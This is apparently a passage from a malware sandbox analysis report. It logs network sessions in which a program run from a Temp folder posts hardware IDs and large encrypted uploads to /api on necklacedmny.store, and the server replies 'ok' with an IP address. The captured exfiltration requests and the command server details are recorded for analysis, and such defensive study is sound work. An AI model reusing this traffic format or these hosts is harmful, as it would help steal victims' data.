Ascii: 5NMdH6lN/UNTB18kAE8dikhzG3Xlb7KonUxr0kTtu+y2ilJS6wD+SR9fHxwRQgiKBVcfbuF3sLGeB3GfWaKz7P7YUhGnCuIbSx8zFgdCWKIQTBti9W68r9ETOoUdqrCgrpISXuof/1oZVRIdGU0fig5eF2D2a76jlwd1mV6mtu7/wFIRpwriG0sfNQ4XRRbHJFEKaaZEv6iWAGLcQuOloPHeUgenBPRXEFgXHRNIEYUFUBJp9m+9qYMDd5FZoLb
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 56 4f 6e 56 62 70 62 46 31 4d 63 45 68 68 48 46 34 6f 4e 55 52 4e 6b 36 6e 65 2b 70 70 6b 41 66 4a 46 50 70 37 62 79 2f 39 73 66 55 65 38 66 2b 52 74 64 48 78 67 4e 56 68 42 61 74 77 42 5a 45 48 6a 70 61 76 47 38 33 78 55 30 6d 31 48 74 35 4b 44 6b 77 42 4a 55 35 77 72 30 53 52 4a 58 45 42 38 57 54 68 47 50 43 56 4d 59 59 4f 31 6a 73 4b 36 51 44 58 53 5a 58 61 53 75 37 62 61 63 55 6c 6a 2f 54 61 49 62 4a 46 4d 55 4a 42 56 65 57 70 70 45 51 31 78 70 36 43 58 70 34 35 41 65 65 5a 52 5a 72 62 48 6d 2f 64 4d 54 58 4f 63 4e 2b 56 73 57 56 42 41 54 45 55 55 51 6a 41 4e 49 46 47 72 32 5a 62 32 6e 30 55 49 30 6d 30 58 74 35 4b 44 47 30 52 6c 54 35 77 44 76 47 77 77 52 42 6c 55 52 52 46 72 64 53 6c 49 58 5a 65 4a 75 73 71 43 66 42 33 36 54 55 71 65 36 35 76 37 58 Data Ascii: VOnVbpbF1McEhhHF4oNURNk6ne+ppkAfJFPp7by/9sfUe8f+RtdHxgNVhBatwBZEHjpavG83xU0m1Ht5KDkwBJU5wr0SRJXEB8WThGPCVMYYO1jsK6QDXSZXaSu7bacUlj/TaIbJFMUJBVeWppEQ1xp6CXp45AeeZRZrbHm/dMTXOcN+VsWVBATEUUQjANIFGr2Zb2n0UI0m0Xt5KDG0RlT5wDvGwwRBlURRFrdSlIXZeJusqCfB36TUqe65v7X
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 47 34 57 68 35 50 47 46 56 59 43 42 7a 46 55 67 70 53 4c 75 42 30 38 66 76 42 58 69 2f 4a 44 76 72 73 73 75 6d 63 43 78 2f 78 54 61 49 4a 58 52 38 4e 56 55 34 49 58 59 59 59 53 42 70 74 38 6d 62 32 6e 61 38 73 66 35 42 65 6f 62 33 6e 74 70 78 53 55 4b 64 56 77 78 73 51 54 51 31 61 42 31 34 58 6c 51 30 57 46 48 2f 70 61 66 48 74 30 55 42 77 6c 31 47 6f 75 2f 43 35 77 41 4a 55 36 78 75 32 58 77 45 66 55 56 55 48 51 78 57 58 42 46 31 54 66 2f 4a 6f 6f 61 43 55 43 7a 69 55 54 4b 43 77 6f 4c 69 53 42 31 54 72 43 2f 64 4f 58 45 34 4a 46 67 42 50 56 6f 30 62 56 78 41 75 32 79 76 78 75 39 46 55 4e 4b 6c 65 6f 37 4c 6e 34 4d 4e 66 66 2b 77 42 2b 56 63 53 57 46 39 62 56 6b 35 61 33 56 6b 55 58 47 72 31 4a 65 6e 7a 77 31 63 68 7a 77 72 39 37 76 2b 34 79 31 4a 4a 70 Data Ascii: G4Wh5PGFVYCBzFUgpSLuB08fvBXi/JDvrssumcCx/xTaIJXR8NVU4IXYYYSBpt8mb2na8sf5Beob3ntpxSUKdVwxsQTQ1aB14XlQ0WFH/pafHt0UBwl1Gou/C5wAJU6xu2XwEfUVUHQxWXBF1Tf/JooaCUCziUTKCwoLiSB1TrC/dOXE4JFgBPVo0bVxAu2yvxu9FUNKleo7Ln4MNff+wB+VcSWF9bVk5a3VkUXGr1Jenzw1chzwr97v+4y1JJp
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 64 48 77 31 56 54 67 68 64 69 77 64 62 48 32 44 6e 64 36 4f 6c 6b 68 70 33 32 32 4f 54 6d 65 33 37 31 78 78 59 32 54 50 62 55 51 4e 53 45 42 49 6f 64 69 32 55 44 55 70 65 53 4f 64 7a 73 75 50 66 54 47 7a 63 42 65 32 64 36 75 62 66 48 56 69 6e 51 37 70 66 55 77 64 66 4d 42 74 46 48 34 73 4e 47 44 31 6b 39 47 69 2b 70 4e 46 43 4e 4a 41 64 39 66 7a 68 2f 4d 49 66 55 4f 42 42 2f 55 45 55 48 31 46 56 47 41 68 43 78 51 74 51 44 47 50 72 59 76 32 6c 6e 77 49 30 67 78 4f 30 2f 50 61 32 69 6b 45 52 70 78 2b 36 41 31 4d 59 45 52 67 58 53 78 53 47 47 45 67 61 62 66 4a 6d 39 70 32 76 4b 58 6d 52 57 4b 4f 37 33 73 6a 7a 47 45 2f 71 41 76 30 5a 4d 31 67 4a 46 69 68 32 4c 5a 51 4e 53 6c 35 49 35 33 4f 79 34 39 39 4d 62 4e 77 46 37 5a 33 71 35 74 38 64 57 4b 55 74 2f 55 Data Ascii: dHw1VTghdiwdbH2Dnd6Olkhp322OTme371xxY2TPbUQNSEBIodi2UDUpeSOdzsuPfTGzcBe2d6ubfHVinQ7pfUwdfMBtFH4sNGD1k9Gi+pNFCNJAd9fzh/MIfUOBB/UEUH1FVGAhCxQtQDGPrYv2lnwI0gxO0/Pa2ikERpx+6A1MYERgXSxSGGEgabfJm9p2vKXmRWKO73sjzGE/qAv0ZM1gJFih2LZQNSl5I53Oy499MbNwF7Z3q5t8dWKUt/U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:16 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 03:16:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:16 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 03:16:16 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iarlabm4uqk1bp8rau78eogik4; expires=Sun, 23-Feb-2025 21:02:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vLNUP7l2CRHZTRfJU7wtMt6FYFs60ojuttFR2PuZwZShnOMh87kw3PXkP0Ou%2Bc5qQo7K45q9s7XAcgTDmAaABbkd9gaZZpPsU297DwAPHiLERTIjQOy9C7HJmRd72MbCAFFjFXQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c41d825e807-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=2454237&cwnd=251&unsent_bytes=0&cid=0cef83e7f21d33bd&ts=471&x=0"
2024-10-31 03:16:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49868	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:17 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 03:16:17 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:18 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u6q17cdmsucmcm3tclprocgo6k; expires=Sun, 23-Feb-2025 21:02:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0bZa5vuGiyjZLBCJ5mFScvkgsw34uafDqsiQfswKIBY%2Bcc%2Bn%2B%2F1IkT8Pw54Yal%2FLNepnXpfbxYZltIvJWjI%2Bb7UqcURD1KmwE92ZYS4%2B9zoWQ8sMlJcFObdfZlTCtJ6QoLM5Brc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c49d8422e5d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1527&sent=11&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=1896529&cwnd=250&unsent_bytes=0&cid=4098c8b0d800208b&ts=771&x=0"
2024-10-31 03:16:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49878	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:19 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 03:16:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:19 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 03:16:20 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gn1sqvg2t54fnk7i39i5rfif7d; expires=Sun, 23-Feb-2025 21:02:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XVvO6VgFfSjvFfOaDCLQjZ1VKDq7JpyYtGlZftHtcM1JxFlNNzoUhJG%2BM44f5W%2FQd5ZeJSMfcJIt%2FJqeEBJPL3tGSHmOnR7z8Ro5ZD%2FWnEP%2BsNmjZW7StibAy0SS5W4xRaYvHzs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c55589ceab4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1130&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=2588025&cwnd=251&unsent_bytes=0&cid=a0675ee9e4b43db3&ts=776&x=0"
2024-10-31 03:16:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49893	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:21 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1271 Host: necklacedmny.store
2024-10-31 03:16:21 UTC	1271	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:22 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5mf4fr3gdqutatm87n2o1v5n59; expires=Sun, 23-Feb-2025 21:03:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TepZDbLYNqY0R58%2Firv5N4cyO8YtoZbdd9Ek3nTd1LkG%2Fe29LCIvZ9UVuIBXlvclvCbjMWtPDEMs9dkLKXwWLZbxY0QfbKSqraj%2FrhhbGi6Rla4LEzQYlhim1feh9cSwnlnF2i4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c64cba04781-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1176&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2190&delivery_rate=2448013&cwnd=252&unsent_bytes=0&cid=a3afca6997f36b4f&ts=332&x=0"
2024-10-31 03:16:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49904	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578147 Host: necklacedmny.store
2024-10-31 03:16:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:23 UTC	15331	OUT	Data Raw: e7 f1 a1 4b ca ae 20 01 c5 7b 2d 92 72 92 85 a1 b8 73 19 87 32 ee fb 34 8c a2 1b 33 91 9c 0d 1b dd 5b 39 1a b6 6a d1 a4 4c 27 0f 0f 95 1b 3f c0 21 91 61 d3 86 9e d5 c2 ef 28 3a 26 2c 15 b2 c4 53 14 a3 10 57 87 3a 72 f3 83 2d f7 3c 06 f6 81 6e ac 31 fb be 2c 68 59 b9 d6 a6 62 09 e7 c1 07 e3 91 40 c7 9f ef 03 fe 50 a6 28 c6 1a a0 db 2a c1 e2 db 88 98 00 75 2e a5 1c 6d b9 d8 a2 8f 07 50 97 f5 4c 9d 38 29 75 f7 dd cb 38 d5 5c ac b2 a0 80 0e ca 43 91 89 09 4e 11 f9 d0 5a 94 69 65 4a 37 06 1f c6 0a 75 09 a7 3d a4 12 df ac 8a cf 98 ca 55 ff 52 aa c0 06 20 aa b6 b8 bc d0 3c e8 2d 31 a5 49 3f 46 77 e2 18 9e 62 82 0e 5b f2 3b 75 7c ff ae 20 2e f4 15 6a 6c 7f 99 03 13 39 72 db 76 09 ff 74 a0 61 19 a1 27 6c 94 7f bc fb b8 4b 34 c6 6d 6d 5f 3f 77 e6 b0 ef 04 12 83 5a Data Ascii: K {-rs243[9jL'?!a(:&,SW:r-<n1,hYb@P(*u.mPL8)u8\CNZieJ7u=UR <-1I?Fwb[;u\| .jl9rvta'lK4mm_?wZ
2024-10-31 03:16:23 UTC	15331	OUT	Data Raw: c7 9f ec fc fc 08 07 1f 1a 5a eb 58 7a 71 b5 fb 5f e9 13 3c d3 d0 d1 87 6e a1 73 41 cd fa 0f 9e 3a 6f 45 aa d4 77 eb ab 06 bc 6b 3a ea b8 75 ca a1 ca 59 74 4a 79 f4 3b f8 b9 d3 f3 af d9 5e 6e cd af 71 43 f7 7d 93 71 cc d6 8c d9 6c 16 2f 63 99 71 64 ad da 9d 7a ed 8f 8f af 45 6f 09 52 66 ab b3 ba 5f 07 55 9b 2b 02 7f e7 5b a8 96 9f 13 e5 37 50 c4 fb 57 5f 43 b4 58 ff c3 10 da 1d b0 f3 0a 85 e5 37 37 ae cc 47 cd 05 ec 78 50 d3 fb ea c6 75 27 76 e6 6b 82 55 c4 4b 07 e9 c2 97 cc d6 ab 45 90 f2 3d 87 55 bb 33 d1 90 88 90 dc cf 2e 7a 6c e4 b9 e5 19 1d 54 fc 61 2c 06 02 7d a7 d4 8a b4 04 49 22 14 0f 9c 0c f1 a2 14 fd 00 5c e4 08 64 a2 e1 84 e5 70 eb 92 58 ca 99 5f 18 bc 4c 92 e6 0b 4e 8c 5b 74 a8 55 78 81 cf 80 e5 8a e3 bd 91 f4 e7 e7 3b c2 9c c4 72 bb 05 09 1e Data Ascii: ZXzq_<nsA:oEwk:uYtJy;^nqC}ql/cqdzEoRf_U+[7PW_CX77GxPu'vkUKE=U3.zlTa,}I"\dpX_LN[tUx;r
2024-10-31 03:16:23 UTC	15331	OUT	Data Raw: 5d 9c a1 12 e2 7e c0 12 54 1f aa 86 f8 c0 96 d1 6b 49 a8 3c e6 09 d1 66 22 32 84 9b 7b f3 75 d0 73 5a c5 93 a2 79 17 c8 e5 31 99 99 a7 2b c6 89 f5 d2 85 22 5e 02 36 17 f3 1d 9f bb 05 9e 0a 06 d1 be 91 61 f1 6a a8 0b 50 02 c6 9e d3 b8 fb 2f b0 a6 aa 7b f6 53 dd 5d ab 1c 8e 04 07 77 e1 06 0b 44 b3 54 56 a6 14 63 56 b9 2e 2a 96 10 d8 fc 67 e4 e6 d9 d9 e3 8d c9 f1 1f f6 f5 1c f0 5a e1 fe ce 6c 1d 4e 60 ff 60 31 b9 3b ff 24 5b f6 f9 36 8b c4 5d fa d3 77 e3 19 4e 26 b5 8f b6 d2 d5 fc 3b 0d 1a 53 bc b3 93 31 4e fd d3 0c 1e 8f 22 f4 ca 4b ec 3c ef 3f f3 33 4e fb 8c b9 5e 03 e5 b5 bb c5 5e cb 72 50 f4 de 89 88 6c 50 c3 c7 5b 7d 1f 65 ce b3 eb 1b ce 21 ef fd 20 2b f0 ef 03 43 21 52 bf 10 31 0d 7d ef 77 eb c8 35 c7 0a 1c dc e5 7c 56 93 2f 96 30 df 52 7c 73 7a fa ce Data Ascii: ]~TkI<f"2{usZy1+"^6ajP/{S]wDTVcV.*gZlN``1;$[6]wN&;S1N"K<?3N^^rPlP[}e! +C!R1}w5\|V/0R\|sz
